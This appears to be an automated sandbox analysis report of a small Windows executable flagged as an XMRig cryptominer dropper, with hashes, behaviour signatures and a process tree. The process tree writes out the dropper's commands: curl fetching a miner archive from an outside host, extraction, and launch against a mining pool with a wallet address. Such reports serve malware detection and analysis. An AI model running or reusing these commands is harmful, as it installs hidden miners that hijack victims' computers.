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11-03-2024 20:53

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Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-03-2024 20:54

General

  • Target

    test - Copy (14).exe

  • Size

    6KB

  • MD5

    4634098fe194204dc03f967cc0b19cd6

  • SHA1

    eaa58619c6cea9f148cec61ee504cd727b3e80d8

  • SHA256

    a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c

  • SHA512

    64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d

  • SSDEEP

    96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 8 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test - Copy (14).exe
    "C:\Users\Admin\AppData\Local\Temp\test - Copy (14).exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3028
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\oAskWRoB.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3208
      • C:\Windows\system32\curl.exe
        curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        3⤵
          PID:4128
        • C:\Windows\system32\tar.exe
          tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
          3⤵
            PID:3156
          • C:\xmrig\xmrig-6.21.1\xmrig.exe
            C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:1528

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\oAskWRoB.bat

        Filesize

        421B

        MD5

        67d11b392feb0ad59fc11ff3e79dfeee

        SHA1

        7df5785988cb76c4893773614572c93baaa18717

        SHA256

        69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

        SHA512

        50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

      • C:\xmrig\xmrig-6.21.1-gcc-win64.zip

        Filesize

        3.2MB

        MD5

        e27f13ffb2989f290f16f8edd1c80171

        SHA1

        352a34a66152f4998b8d9152356528f980de2ef5

        SHA256

        fa6214ad822c6a70ee064de975608438a55eac4de41a5bb20f7180895e0524f9

        SHA512

        549a1c129ba53006e664b710361b860f9fdd58dc4682b36733fd3d10c36aa80fb28610d47ec18a8e91dad55542a83b58f5df79a8b9928cbe851b3557fde2b06a

      • C:\xmrig\xmrig-6.21.1\xmrig.exe

        Filesize

        5.5MB

        MD5

        f0893b05d1740a900192b525e8bb5ff2

        SHA1

        021ddef85d4902aa2fea78131b311404120cc866

        SHA256

        50ecb81270ab0da2aec12d40af7e6eeeaa654bd6948ca5669fa08b8abda21fd2

        SHA512

        807ff7f8b94acfa45838d7f032dd9ea42f309e803a1b65ff9e7f2393c3aa7aa260e11563db6113f2d1c9f8da92523c48b98864a8d7d712953558f0f267d37a86

      • memory/1528-27-0x00007FF7C51F0000-0x00007FF7C5CF4000-memory.dmp

        Filesize

        11.0MB

      • memory/1528-29-0x000001C140CA0000-0x000001C140CC0000-memory.dmp

        Filesize

        128KB

      • memory/1528-37-0x00007FF7C51F0000-0x00007FF7C5CF4000-memory.dmp

        Filesize

        11.0MB

      • memory/1528-36-0x00007FF7C51F0000-0x00007FF7C5CF4000-memory.dmp

        Filesize

        11.0MB

      • memory/1528-23-0x000001C13F430000-0x000001C13F450000-memory.dmp

        Filesize

        128KB

      • memory/1528-25-0x000001C140C60000-0x000001C140CA0000-memory.dmp

        Filesize

        256KB

      • memory/1528-26-0x00007FF7C51F0000-0x00007FF7C5CF4000-memory.dmp

        Filesize

        11.0MB

      • memory/1528-35-0x00007FF7C51F0000-0x00007FF7C5CF4000-memory.dmp

        Filesize

        11.0MB

      • memory/1528-28-0x000001C13F480000-0x000001C13F4A0000-memory.dmp

        Filesize

        128KB

      • memory/1528-34-0x00007FF7C51F0000-0x00007FF7C5CF4000-memory.dmp

        Filesize

        11.0MB

      • memory/1528-30-0x00007FF7C51F0000-0x00007FF7C5CF4000-memory.dmp

        Filesize

        11.0MB

      • memory/1528-32-0x00007FF7C51F0000-0x00007FF7C5CF4000-memory.dmp

        Filesize

        11.0MB

      • memory/1528-33-0x00007FF7C51F0000-0x00007FF7C5CF4000-memory.dmp

        Filesize

        11.0MB

      • memory/3028-7-0x00007FFAC3E60000-0x00007FFAC4921000-memory.dmp

        Filesize

        10.8MB

      • memory/3028-0-0x0000000000440000-0x0000000000448000-memory.dmp

        Filesize

        32KB

      • memory/3028-24-0x00007FFAC3E60000-0x00007FFAC4921000-memory.dmp

        Filesize

        10.8MB

      • memory/3028-3-0x00007FFAC3E60000-0x00007FFAC4921000-memory.dmp

        Filesize

        10.8MB